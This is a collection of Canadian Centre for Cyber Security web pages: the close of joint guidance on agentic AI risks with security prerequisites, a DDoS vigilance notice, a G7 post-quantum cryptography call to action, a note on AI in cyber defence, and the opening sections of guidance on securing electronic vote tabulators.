different from those associated with traditional software or <abbr title="Generative AI">GenAI</abbr>. As outlined in this publication, privilege escalation, emergent behaviours, structural dependencies and accountability gaps can interact in unpredictable ways. As organizations grant agentic AI systems greater authority and operational scope, these combined risks become increasingly difficult to predict, observe and contain.</p> <p>Organizations should approach adoption with heightened caution, recognizing that increased autonomy amplifies the impact of design flaws, misconfigurations and incomplete oversight. Deploy agentic AI incrementally, limit it to clearly defined low risk tasks and continuously assess it against evolving threat models.</p> <p>Strong governance, explicit accountability, rigorous monitoring and human oversight are not optional safeguards but essential prerequisites. Until security practices, evaluation methods and standards mature, organizations should assume that agentic AI systems may behave unexpectedly. Organizations should plan deployments accordingly, prioritizing resilience, reversibility and risk containment over efficiency gains.</p> </section><section><h2>Further information</h2> <p>The following lists contain additional and related resources from government partners and industry.</p> <div> <h3>ASD resources</h3> <ul><li><a href="https://www.cyber.gov.au/business-government/secure-design/artificial-intelligence">Artificial intelligence by ASD</a></li> <li><a href="https://www.cyber.gov.au/about-us/view-all-content/news/frontier-models-and-their-impact-on-cyber-security">Frontier models and their impact on cyber security</a></li> <li><a href="https://www.cyber.gov.au/business-government/secure-design/secure-by-design/modern-defensible-architecture/foundations-for-modern-defensible-architecture">Foundations for modern defensible architecture</a></li> <li><a href="https://www.cyber.gov.au/business-government/secure-design/artificial-intelligence/artificial-intelligence-and-machine-learning-supply-chain-risks-and-mitigations">Artificial intelligence and machine learning: Supply chain risks and mitigations</a></li> </ul></div> <div> <h3>Cyber Centre resources</h3> <ul><li><a href="/en/guidance/frontier-artificial-intelligence">Frontier artificial intelligence </a></li> <li><a href="/en/guidance/top-10-artificial-intelligence-security-actions-primer-itsap10049">Top 10 artificial intelligence security actions: A primer </a></li> <li><a href="/en/cyber-security-readiness/cross-sector-cyber-security-readiness-goals-toolkit">Cross-Sector Cyber Security Readiness Goals Toolkit </a></li> </ul></div> <div> <h3>CISA resources</h3> <ul><li><a href="https://www.cisa.gov/ai">Artificial Intelligence by CISA</a></li> <li><a href="https://www.cisa.gov/securebydesign">Secure by Design</a></li> <li><a href="https://www.cisa.gov/resources-tools/resources/ai-cybersecurity-collaboration-playbook">AI Cybersecurity Collaboration Playbook</a></li> <li><a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a></li> <li><a href="https://www.cisa.gov/resources-tools/resources/defending-against-software-supply-chain-attacks">Defending Against Software Supply Chain Attacks</a></li> <li><a href="https://www.cisa.gov/resources-tools/resources/2025-minimum-elements-software-bill-materials-sbom">2025 Minimum Elements for a Software Bill of Materials (SBOM)</a></li> <li><a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0">Cybersecurity Performance Goals 2.0 (CPG 2.0)</a></li> </ul></div> <div> <h3>NSA resources</h3> <ul><li><a href="https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/4192332/nsas-aisc-releases-joint-guidance-on-the-risks-and-best-practices-in-ai-data-se/">AI Data Security: Best Practices for Securing Data Used to Train &amp; Operate AI Systems</a></li> <li><a href="https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3741371/nsa-publishes-guidance-for-strengthening-ai-system-security/">Deploying AI Systems Securely: Best Practices for Deploying Secure and Resilient AI Systems</a></li> <li><a href="https://media.defense.gov/2024/Apr/15/2003439257/-1/-1/0/CSI-DEPLOYING-AI-SYSTEMS-SECURELY.PDF">Zero Trust Implementation Guideline Primer (PDF, 3.045 KB)</a></li> <li><a href="https://media.defense.gov/2026/Jan/08/2003852321/-1/-1/0/CTR_ZIG_DISCOVERY_PHASE.PDF">Zero Trust Implementation Guideline Discovery Phase (PDF, 2.124 KB)</a></li> </ul></div> <div> <h2>NCSC-UK resources</h2> <ul><li><a href="https://www.ncsc.gov.uk/collection/guidelines-secure-ai-system-development">Guidelines for secure AI system development </a></li> </ul></div> <div> <h2>Other resources</h2> <ul><li><a href="https://www.gov.uk/government/publications/ai-cyber-security-code-of-practice/code-of-practice-for-the-cyber-security-of-ai">UK Government: Code of Practice for the Cyber Security of AI</a></li> <li><a href="https://assets.publishing.service.gov.uk/media/679cae441d14e76535afb630/Implementation_Guide_for_the_AI_Cyber_Security_Code_of_Practice.pdf">UK Government: Implementation Guide for the AI Cyber Security Code of Practice (PDF, 989 KB)</a></li> <li><a href="https://www.etsi.org/committee/2312-sai">European Telecommunications Standards Institute: Technical Committee Securing Artificial Intelligence (TC SAI)</a></li> <li><a href="https://www.etsi.org/deliver/etsi_en/304200_304299/304223/02.01.01_60/en_304223v020101p.pdf">European Telecommunications Standards Institute: Securing Artificial Intelligence (SAI); Baseline Cyber Security Requirements for AI Models and Systems (PDF, 108 KB)</a></li> <li><a href="https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/KI/SBOM-for-AI_Food-for-thoughts.html">G7 Cybersecurity Working Group: A Shared G7 Vision on Software Bill of Materials for Artificial Intelligence</a></li> <li><a href="https://www.nist.gov/itl/ai-risk-management-framework"><abbr title="National Institute of Standards and Technology">NIST</abbr>: AI Risk Management Framework</a></li> <li><a href="https://csrc.nist.gov/pubs/sp/800/207/final"><abbr title="National Institute of Standards and Technology">NIST</abbr>: SP 800-207 Zero Trust Architecture</a></li> <li><a href="https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/"><abbr title="Open Web Application Security Project">OWASP</abbr>: Top 10 for Agentic Applications for 2026</a></li> </ul></div> </section><!–** TOP OF PAGE ******–><div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <section><h2 id="App-a">Appendix A</h2> <p>Use the following cyber security prerequisites before implementation of AI agents.</p> <div> <h3>Design</h3> <ul><li>Implement strong authentication by following Secure by Design principles</li> <li>Design transparency requirements into the system architecture to enable detection of deception indicators</li> <li>Use frameworks, such as zero-trust authentication, the Application Security Verification Standard (ASVS), or OAuth2</li> <li>Build system infrastructure in a secure, sandboxed environment with encryption, rate limiting and sanitization</li> <li>Apply the principle of least privilege to assign only the minimal rights necessary for an agent’s task</li> <li>Limit entitlements to the exact resources, operations and timeframes needed</li> <li>Replace static, long-lived secrets with ephemeral credentials that expire when the job is complete</li> <li>Dynamically scope privilege for sub-tasks and revoke elevated rights immediately when finished, mitigating scope creep</li> <li>Build agent architecture with secure protocols and safe defaults that adhere to communication standards and security policies</li> <li>Implement message validation by default so that message components include integrity and freshness checks before use</li> </ul></div> <div> <h3>Development</h3> <ul><li>Use principles from the <a href="https://dodcio.defense.gov/Portals/0/Documents/Library/DoD%20Enterprise%20DevSecOps%20Fundamentals%20v2.5.pdf">U.S. Department of War Enterprise DevSecOps Fundamentals (PDF 2,811 KB) to secure the development</a></li> <li>Minimize agent and tool scope, and monitor components for unusual or unexpected behaviour</li> <li>Enforce tool understanding and only incorporate tools into systems that the owner fully understands and accepts the tool’s scope, including possible external effects and processes that it may trigger</li> <li>Refer to frameworks, such as the <a href="https://csrc.nist.gov/projects/ssdf"><abbr title="National Institute of Standards and Technology">NIST</abbr> Secure Software Development Framework</a> or <a href="https://slsa.dev/">Supply-chain Levels for Software Artifacts: Safeguarding artifact integrity across any software supply chain</a></li> <li>Use supply chain risk management practices for third-party dependencies</li> <li>Apply existing governance and organizational management policies</li> <li>Conduct threat modelling using frameworks, such as OWASP Top 10:2025, MITRE ATT&amp;CK and MITRE D3FEND and use the results to inform mitigations tailored to the operational environment</li> <li>Prepare incident response plans and team</li> </ul></div> </section></div> </div> </div> </div> </div> </article>

<article data-history-node-id="8183" about="/en/news-events/cyber-centre-urges-heightened-vigilance-amid-global-tensions-high-profile-events" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>The Communications Security Establishment Canada (CSE) and its Canadian Centre for Cyber Security (Cyber Centre) continue to urge Canadian organizations to remain vigilant during periods of heightened geopolitical tensions and high-profile events.</p> <p>Although malicious cyber activity can occur at any time, organizations should be especially vigilant during these periods as they can draw the attention of cyber threat actors, including ideologically motivated individuals or groups targeting organizations they perceive as adversaries. These actors may try to disrupt services, deface websites, attract publicity or undermine confidence in institutions and organizations.</p> <p>Threats may include distributed denial of service (DDoS) attacks against public-facing websites and online services, as well as website defacement and other disruptive activity. These attacks can disrupt operations, cause financial losses, damage reputations and reduce access to critical services. They may also be used to distract defenders from other malicious cyber activity targeting an organization at the same time.</p> <p>All Canadian organizations, especially essential service providers and critical infrastructure operators, should review their cyber security posture, and consult the following Cyber Centre resources.</p> <ul><li>Read our previous <a href="/en/news-events/cyber-centre-statement-distributed-denial-service-campaign-targeting-multiple-canadian-sectors">statement on a distributed denial of service (DDoS) campaign targeting multiple Canadian sectors</a></li> <li>Adopt our <a href="/en/cyber-security-readiness/cross-sector-cyber-security-readiness-goals-toolkit">Cross-Sector Cyber Security Readiness Goals</a></li> <li>Consult our <a href="/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089">Top 10 IT security actions to protect Internet connected networks and information</a></li> <li>Review and implement the advice and guidance on: <ul><li><a href="/en/guidance/defending-against-distributed-denial-service-ddos-attacks-itsm80110">Defending against distributed denial of service (DDoS) attacks</a></li> <li><a href="/en/guidance/distributed-denial-service-attacks-prevention-and-preparation-itsap80110">Distributed denial of service attacks – prevention and preparation</a></li> <li><a href="/en/alerts-advisories/distributed-denial-service-campaign-targeting-multiple-canadian-sectors">Distributed Denial of Service campaign targeting multiple Canadian sectors</a></li> <li><a href="/en/guidance/website-defacement-itsap00060">Website defacement</a></li> <li><a href="/en/guidance/developing-your-incident-response-plan-itsap40003">Developing your incident response plan</a></li> <li><a href="/en/guidance/security-considerations-critical-infrastructure-itsap10100">Security considerations for critical infrastructure</a></li> <li><a href="/en/guidance/protect-your-operational-technology-itsap00051">Protect your operational technology</a></li> <li><a href="/en/news-events/joint-guidance-principles-operational-technology-cyber-security">Joint guidance on the principles of operational technology cyber security</a></li> <li><a href="/en/news-events/joint-guidance-isolating-vital-systems">Joint guidance on isolating vital systems</a></li> </ul></li> <li>Explore our <a href="/en/cyber-security-readiness/critical-infrastructure-resilience-escalated-threat-navigation-initiative">Critical infrastructure resilience and escalated threat navigation initiative</a></li> </ul><p>The Cyber Centre continues to work closely with government, critical infrastructure operators, industry partners, and international allies to monitor the cyber threat environment and support the protection of Canadian systems and networks.</p> <p>Organizations should act now to strengthen their cyber defences and promptly report cyber incidents or suspicious cyber activity to the Cyber Centre through our <a href="https://www.cyber.gc.ca/en/incident-management">online portal</a>.</p> </div> </div> </div> </div> </div> </article>

<article data-history-node-id="8160" about="/en/news-events/g7-cybersecurity-working-group-call-action-preparing-post-quantum-era" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>Canada is joining its G7 Cybersecurity Working Group partners in releasing the <strong>Preparing for the Post-Quantum Era: A Call to Action</strong>, a joint publication highlighting the growing risks that quantum computing poses to current public-key cryptography and urging organizations to begin transitioning to post-quantum cryptography (PQC) now.</p> <p>The publication emphasizes that while the timeline for cryptographically relevant quantum computers (CRQCs) remains uncertain, organizations face immediate risks such as "harvest now, decrypt later" attacks. In these attacks, threat actors collect encrypted data now, with the intention of decrypting it in the future using quantum computing capabilities. It also warns that quantum-enabled attacks could compromise authentication mechanisms, enabling attackers to impersonate trusted entities, forge data, and undermine secure communications.</p> <p>The publication recommends ways to support a coordinated global transition to <abbr title="post-quantum cryptography">PQC</abbr>. To help organizations and governments prepare for the transition, the publication outlines five priority areas for action:</p> <ul><li>raising awareness of quantum-related cybersecurity risks and the benefits of <abbr title="post-quantum cryptography">PQC</abbr></li> <li>developing national strategies to support the adoption and availability of <abbr title="post-quantum cryptography">PQC</abbr> technologies</li> <li>advancing research and development to support innovation and practical deployment of <abbr title="post-quantum cryptography">PQC</abbr> solutions</li> <li>strengthening public-private partnerships to share expertise, resources, and best practices</li> <li>integrating <abbr title="post-quantum cryptography">PQC</abbr> into cybersecurity requirements</li> </ul><p>The publication calls on public and private sector organizations to adopt a phased, risk-based approach to <abbr title="post-quantum cryptography">PQC</abbr> migration. This includes taking inventory of cryptographic assets, identifying critical systems, mapping dependencies, and developing transition plans to help protect sensitive data and digital infrastructure.</p> <p>Consult the full publication: <a href="https://cyber.gouv.fr/en/publications/jointly-led-international-publications/preparing-for-the-post-quantum-era-a-call-to-action/">Preparing for the post-quantum era: a call to action</a></p> <h2>Learn more</h2> <ul><li><a href="/en/news-events/g7-cybersecurity-working-group-statement-preparing-post-quantum-cryptography-migration">G7 Cybersecurity Working Group statement on preparing for a post-quantum cryptography migration</a></li> <li><a href="/en/guidance/preparing-your-organization-quantum-threat-cryptography-itsap00017">Preparing your organization for the quantum threat to cryptography (ITSAP.00.017) – Canadian Centre for Cyber Security</a></li> <li><a href="/en/guidance/roadmap-migration-post-quantum-cryptography-government-canada-itsm40001">Roadmap for the migration to post-quantum cryptography for the Government of Canada (ITSM.40.001)</a></li> </ul></div> </div> </div> </div> </div> </article>

This joint guidance explains why effective communications during outages is critical to minimize operational impacts, maintain credibility and situational awareness, and support response efforts.

<article data-history-node-id="8082" about="/en/news-events/joint-guidance-opportunities-artificial-intelligence-cyber-defence" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><p>The Canadian Centre for Cyber Security (Cyber Centre) has joined the Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC) and the following international partners in releasing cyber security guidance on opportunities for artificial intelligence (AI) in cyber defence:</p> <ul><li>New Zealand’s National Cyber Security Centre (NCSC-NZ)</li> <li>United Kingdom’s National Cyber Security Centre (NCSC-UK)</li> </ul><p>AI presents a significant opportunity for cyber defenders. When used safely, securely and responsibly, AI can:</p> <ul><li>strengthen prioritisation of cyber risks</li> <li>improve detection of threats and vulnerabilities</li> <li>support faster response and recovery</li> <li>reduce reliance on repetitive manual tasks</li> </ul><p>The joint guidance explains how organizations can use AI to improve their cyber security while also managing the risks that come with using AI. The guidance describes how the cyber security environment is changing and shows how AI can support key security activities, including governance, identifying risks, protecting systems, detecting threats, responding to incidents, and recovering from cyber attacks.</p> <p>The guidance also provides practical principles for adopting AI securely and includes important questions that cyber security teams should ask AI vendors to help ensure AI tools are used safely and securely.</p> <p>Consult the full joint guidance: <a href="https://www.cyber.gov.au/business-government/secure-design/artificial-intelligence/opportunities-for-ai-in-cyber-defence?ref=search">Opportunities for AI in cyber defence – Use of AI by cyber-security teams</a></p> </div> </div> </div> </div> </div> </article>

<article data-history-node-id="8032" about="/en/guidance/security-considerations-electronic-vote-tabulators-itsm10102" class="cccs-basic-page full clearfix"> <div class="content"> <div class="layout layout–onecol"> <div class="layout__region layout__region–content"> <div data-block-plugin-id="extra_field_block:node:cccs_basic_page:links" class="block block-layout-builder block-extra-field-blocknodecccs-basic-pagelinks clearfix"> </div> <div data-block-plugin-id="field_block:node:cccs_basic_page:body" class="block block-layout-builder block-field-blocknodecccs-basic-pagebody clearfix"> <div class="field field–name-body field–type-text-with-summary field–label-hidden field–item"><div class="row"> <div class="col-md-4 pull-left hidden-xs hidden-sm"> <p class="text-left"><strong>August 2026</strong></p> </div> <div class="col-md-4 hidden-xs hidden-sm"> <p class="text-center"><strong>Management series</strong></p> </div> <div class="col-md-4 pull-right hidden-xs hidden-sm"> <p class="text-right"><strong>ITSM.10.102</strong></p> </div> <!–MOBILE STARTS HERE–> <div class="hidden-lg hidden-md text-center"> <p><strong>August 2026 | Management series</strong></p> </div> </div> <p>The use of ballot counting systems, also known as vote tabulation technology, to replace manual ballot counting during democratic elections is gaining wider adoption. These technologies can help improve the efficiency of the ballot tabulation process, as well as reduce human-related errors during the ballot counting process.</p> <p>This publication provides guidance on the cyber security considerations and system requirements for deploying vote tabulators during democratic elections. It highlights the key risks, threats and safeguards that elections management authorities should assess when considering ballot counting systems.</p> <section><details class="mrgn-tp-md"><summary><h2 class="h3">Table of contents</h2> </summary><ul class="list-unstyled"><li><a href="#1">Scope</a></li> <li><a href="#2">Electronic voting</a> <ul><li><a href="#fig1">Figure 1: Generic elections system architecture</a></li> </ul></li> <li><a href="#3">Ballot counting and tabulation</a> <ul><li><a href="#3.1">Types of vote tabulators</a></li> </ul></li> <li><a href="#4">Threat analysis</a></li> <li><a href="#5">Security control considerations</a> <ul><li><a href="#5.1">Physical and hardware security</a></li> <li><a href="#5.2">Lifecycle security</a></li> <li><a href="#5.3">Continuous risk assessment</a></li> <li><a href="#5.4">Protect your data</a></li> <li><a href="#5.5">Network isolation safeguards</a></li> <li><a href="#5.6">Secure access controls</a></li> <li><a href="#5.7">Validate and authenticate devices</a></li> <li><a href="#5.8">Patches and system updates</a></li> <li><a href="#5.9">Secure application development</a></li> <li><a href="#5.10">Audit log monitoring</a></li> <li><a href="#5.11">Business continuity</a></li> <li><a href="#5.12">Educate users</a></li> <li><a href="#5.13">Security control effectiveness</a></li> </ul></li> <li><a href="#6">Conclusion</a></li> </ul></details></section><section class="mrgn-tp-md"><p>Adopting digital technologies to improve the efficient delivery of the electoral process is an increasingly attractive proposition for modern democratic elections. Elections administrators are embracing the use of modern digital methods to improve or replace traditional and manual voting processes. Manual counting can be subject to human errors from fatigue, eyestrain, or distractions, which can lead to ballots being misjudged and misallocated. In very tight electoral races, those errors can have serious consequences. Using electronic vote counting technologies to support aspects of the elections process can help prevent human-related computational errors, expand voter accessibility options, and improve election transparency. These technologies can also allow for the timely reporting of elections results.</p> <p>Although federal elections in Canada do not use vote tabulators or ballot counting systems, these systems have been used in provincial and municipal government elections. Vote tabulators are electronic devices used to automate the counting of marked paper ballots. Some specific models may support the storage of digital ballot records, integration with assistive devices or vote capturing capabilities, and other additional functionalities. However, despite their potential benefits, the associated risks must be carefully considered.</p> <p>Replacing traditional processes with vote tabulators can have many advantages; however, this can introduce new vulnerabilities and threats into the democratic process, allowing threat actors opportunities to inflict harm. These threats may come from sophisticated nation-state actors or unprincipled stakeholders interested in disrupting the peaceful conduct of the democratic process. Before deploying vote tabulators, elections authorities should conduct a detailed risk assessment to evaluate the potential risks and associated security threats. The Cyber Centre’s <a href="/en/guidance/cyber-threats-canadas-democratic-process-2025-update">Cyber threats to democratic process: 2025 update</a> assesses that the likelihood for state-sponsored cyber actors to target Canadian elections is <strong>almost certain</strong>. It is important to understand specific risks and threats that may be associated with electronic vote tabulation deployments.</p> <p>In this publication, we discuss important cyber security considerations for elections administrators when deciding whether to use vote tabulators, the recommended secure architecture model for deploying these devices, as well as the security controls required to safeguard the integrity of the system. Note that it is difficult to establish suitably secure network connectivity for any election’s infrastructure.</p> </section><h2 id="1">Scope</h2> <p>This guidance applies to vote-tabulation systems that process paper ballots only, not systems that handle electronic ballots. While some recommendations may also apply to electronic ballot systems, they may not fully address the distinct threats those systems face.</p> <h2 id="2">Electronic voting</h2> <p>Electronic voting system architectures are complex and can involve many disparate systems. An electronic voting system architecture describes the information systems components involved in electronic voting and how these components interact with each other. These systems may include:</p> <ul><li>public websites</li> <li>party registration systems</li> <li>voter registrations systems</li> <li>ballot creation and printing systems</li> <li>election management systems</li> <li>online voting systems</li> <li>ballot counting or vote tabulation systems</li> <li>results publishing systems</li> </ul><p>These systems often run distinct software and firmware technologies, can be interconnected, and may communicate across diverse network protocols. Figure 1 depicts a generic modern electronic voting systems architecture, based on the Center for Internet Security’s (CIS) <a href="https://www.google.com/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=&amp;ved=2ahUKEwiyvL6B0MiCAxXQJjQIHXDTB0wQFnoECBYQAQ&amp;url=https%3A%2F%2Fwww.cisecurity.org%2Fwp-content%2Fuploads%2F2018%2F02%2FCIS-Elections-eBook-15-Feb.pdf&amp;usg=AOvVaw0Dq56eE-JFpTwo7r7o9ENs&amp;opi=89978449">Handbook for Elections Infrastructure Security</a>.</p> <div class="panel panel-default"> <div class="panel-body"> <figure id="fig1"><figcaption class="text-center"><strong>Figure 1: Generic elections system architecture</strong></figcaption><img alt="Generic elections system – Long description immediately follows" class="img-responsive" src="/sites/default/files/images/itsm.10.102-fig1-e.png" /></figure><p><strong>Figure 1: Generic elections systems architecture</strong> presents a visual representation of a generic electronic voting system architecture. The image provides additional details on how ballots go from creation and printing to having the results counted and tabulated to the results being published.</p> <p>The components outlined in the image represent the entirety of a generic elections system architecture, including:</p> <ol><li>voter registration systems</li> <li>party and candidate registration and verification</li> <li>campaign finance management</li> <li>election management systems</li> <li>ballot creation and printing</li> <li>electronic poll books</li> <li>ballot capturing devices</li> <li>ballot counting and tabulation <ul><li>ballot scanners</li> <li>ballot counting and tabulators</li> </ul></li> <li>results transmission and publishing</li> </ol></div> </div> <p>This guidance is focused on the ballot counting and ballot tabulation components of this architecture. Our recommendations address core cyber security and operational issues that require attention to safely operate and deploy these systems. First, we provide a generic description for ballot counting and tabulation systems.</p> <!–** TOP OF PAGE ******–> <div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h2 id="3">Ballot counting and tabulation</h2> <p>Ballot counting and tabulation is the process of counting and aggregating used and unused ballots in an election. The process involves gathering valid and invalid (spoiled) ballots, counting unused ballots, and aggregating valid ballots for each candidate in the election. Ballot counting and tabulation can be completed manually (namely by hand-counting) or by using electronic systems such as vote tabulators. Both methods can introduce errors in the process for various reasons. For example, if elections workers are tired or distracted, counting ballots by hand may lead to computational errors. Similarly, software flaws or compromises of electronic vote tabulators may lead to votes being inaccurately categorized. In general, it is important for elections administrators to continually assess counting methods and implement mechanisms to determine or validate that their counting processes are operating within accepted error rates.</p> <p>The ballot counting method used is often determined by legal provisions. For example, the <a href="https://laws-lois.justice.gc.ca/eng/acts/E-2.01/index.html"><em>Canada Elections Act</em></a> requires ballots cast during federal elections to be hand-counted, while some provinces, territories and municipalities have changed local laws to allow the use of electronic vote tabulators in their local elections.</p> <p>At a high level, a typical ballot counting and tabulation process includes the following activities:</p> <ul><li>validating each ballot</li> <li>sorting and counting valid or invalid (spoiled) cast ballots</li> <li>aggregating valid cast ballots for each candidate</li> <li>generating a tabulated summary from tallied ballots</li> </ul><p>Note that the transmission of election outcomes is considered a separate process, as this may require additional system components for transmitting and sharing that information. Results aggregation may also require additional collation at a central facility before official results are released.</p> <p>The following are some methods that may be used to tabulate ballots during elections.</p> <h3 class="h4">Manual counting and tabulation</h3> <p>In this method, elections officials manually sort, validate, and count casted paper ballots. All activities are done by hand, including generating election results tables. As noted by Elections Canada in the <a href="https://www.elections.ca/content.aspx?section=res&amp;dir=pub/ecdocs/rom/vIII/ch_2&amp;document=ch_2&amp;lang=e">Returning Officer’s Manual</a>, in Canadian federal elections, ballots are counted manually at polling stations, and preliminary results are then transmitted (often by telephone) to Elections Canada .</p> <p>For elections where a different tabulation method is primarily used (e.g. provincial or municipal elections), manual ballot counting and tabulation are commonly used as a fallback measure. Manual ballot counting and tabulation are also used to perform election audits. Manually counting and tabulating ballots can be tedious and time-consuming, especially for polling stations with higher voter density. While manual counting processes may provide a greater degree of trust due to their inherent simplicity and easier security auditability, they may allow for human subjectivity and errors.</p> <h3 class="h4">Electronic counting and tabulation</h3> <p>This method involves using electronic vote tabulators to sort, validate, and count election ballots. This method can be used to count both paper and digital ballots. Paper ballots are fed into and analyzed by the device while digital ballots are captured and processed. Electronic vote tabulators may have built-in printing capabilities or may support connectivity with external printers. Note that any external or peripheral devices connected to a vote tabulator must adhere to the same security control standards as the vote tabulator system. We recommend maintaining independence between the counting system and the ballot creation system so that a threat or attack against one does not impact the other.</p> <h3 id="3.1">Types of vote tabulators</h3> <p>There are different types of vote tabulators, often defined by their function, capabilities, and use cases.</p> <h4>Unit vote tabulators</h4> <p>These are digital scan machines that read and record ballots at a polling station. They are designed for light use only. They may or may not contain additional programmable capabilities which can assist with ballot validation, sorting, calculations, and local results processing.</p> <h4>Central tabulators</h4> <p>These are devices used to process ballots at a central location. They are typically industrial-sized and designed to process large amounts of ballots. They can also be used to rapidly perform large-scale recounts or to process mail-in ballots.</p> <h4>Optical scan tabulators</h4> <p>These are optical scan readers commonly used to help process marked paper ballots. These scanners rely on optical character recognition (OCR) or optical mark recognition (OMR) technology to read ballots. The scanner generates a digital representation of the original ballot which can then be used for additional processing. Optical scan systems are often used to process mail-in ballots.</p> <h2 id="4">Threat analysis</h2> <p>The Cyber Centre periodically releases an assessment of <a href="/en/guidance/cyber-threats-canadas-democratic-process-2025-update">Cyber threats to Canada’s democratic process (TDP)</a>. In its most update, the Cyber Centre assesses that democratic processes across the globe remain a target of interest for cyber threat actors and that the likelihood for state-sponsored cyber actors to target Canadian elections is <strong>almost certain</strong>. Vote tabulation systems may certainly introduce new vulnerabilities within the electoral process and may become a target for motivated, state-sponsored threat actors. Election agencies should conduct detailed threat and risk assessments to ensure that they understand the risks associated with using these systems and that vote tabulator systems are protected against such threats.</p> <p>Threat actors often seek to undermine public confidence in the legitimacy of the democratic process. According to the 2025 <abbr title="Cyber threats to Canada’s democratic process">TDP</abbr> report, state-sponsored actors may attempt to weaken trust by altering content on devices used during the elections process. Threat actors can infiltrate and compromise the supply chains used to procure vote tabulator devices. They can also launch disruptive attacks against these devices to render them inoperative, thereby impacting the smooth conduct of elections. Malicious actors can use targeted misinformation or disinformation campaigns to spread inaccuracies about the operation of vote tabulator devices, thereby undermining voter trust and confidence.</p> <p>State-sponsored threat actors have conducted numerous attacks against electoral systems and processes in recent years. For example, Ukraine, Estonia, Ecuador, and even the <abbr title="United Kingdom">UK</abbr>, have been targeted. Some of the attack vectors have included deploying disruptive malware on servers used to tabulate votes and planting fake results with the intention of releasing them publicly.</p> <p>Based on the prevailing threat environment, it is very likely that cybercriminals and state-sponsored actors will target ballot counting and tabulation processes to achieve their overall objectives. The following are ways threat actors could launch attacks and target ballot counting and tabulation systems:</p> <ul><li>taking over vote tabulation systems for the purpose of altering the results</li> <li>infiltrating device or systems-component manufacturers to compromise the supply chain for ballot counting and tabulation devices</li> <li>compromising elections record databases, resulting in unauthorized disclosure of confidential electronic voter records and undermining confidence in the democratic process</li> <li>disrupting vote tabulation system functions through exhaustion and destruction attacks such as distributed denial of service (DDoS) and ransomware attacks</li> <li>impersonating elections authorities to spread misinformation or falsehoods about the integrity of the process or devices to sow mistrust and erode confidence in the democratic process</li> <li>compromise privileged credentials to gain access to back-end systems to alter tabulation records or trigger further disruptive attacks</li> </ul><!–** TOP OF PAGE ******–><div class="clearfix"> </div> <div class="pull-right small text-muted mrgn-bttm-0"><a href="#wb-tphp">Top of page</a> <span aria-hidden="true" class="text-primary glyphicon glyphicon-circle-arrow-up"></span></div> <!–** END TOP OF PAGE **–> <h2 id="5">Security control considerations</h2> <p>In this section, we highlight important security controls you should consider when acquiring, deploying, and operating vote tabulation systems. These recommendations are aligned with the Cyber Centre’s <a href="/en/guidance/cyber-security-privacy-risk-management/itsp10033">Cyber security and privacy risk management: A lifecycle approach (ITSP.10.033)</a>. Election administrators should consider foundational system design and security principles to safeguard hardware, firmware, software components, and related processes.</p> <h3 id="5.1">Physical and hardware security</h3> <p>Physical layer protections in vote tabulator systems are critical in ensuring that other security controls can be trusted, and that the entire system operates as intended. Vote tabulators must be designed, manufactured, operated, and decommissioned in accordance with secure by design principles to better protect them against threats, such as supply chain compromise during any stage of its lifecycle.</p> <h4>Design systems to withstand physical and environmental hazards</h4> <p>Vote tabulators should be designed for operational resilience . The devices, storage media, and other system components should be able to withstand physical and environmental hazards, such as physical shocks, high humidity, and temperature fluctuations, to protect against data loss. These devices should also have an emergency power supply; an intelligent back-up power system will also allow for graceful power-down processes. It is important to protect devices and their electronic data from power surges and outages. We also recommend having electromagnetic shielding and tamper-evident seals as feature considerations.</p> <h4>Manufactured for purpose</h4> <p>Vote tabulators should be manufactured for a single purpose to ensure security functions are operating within defined security boundaries. Single purpose systems avoid the complexity associated with multi-use designs, while also ensuring system functions are strictly defined and security restrictions can be adequately enforced. General-purpose or multi-use systems extend the attack surface, providing additional opportunities for the adversary to compromise. We recommend that vote tabulators should be purpose-built and dedicated, single-use systems.</p> <h4>Operate systems with strict physical access controls</h4> <p>When deploying and operating vote tabulators, you should implement strict physical access controls. Only authorized individuals on approved access lists should have physical access to the devices before, during, and after elections. The locations where these devices are stored, deployed, or transported throughout their lifecycle should be monitored, and mechanisms should be in place to detect and deter unauthorized access. When choosing where to deploy vote tabulators, you should consider how you will secure them from unauthorized observation and access. Device screens should be set up to prevent on-screen information from being read or observed from a distance. Electoral management bodies (EMBs) 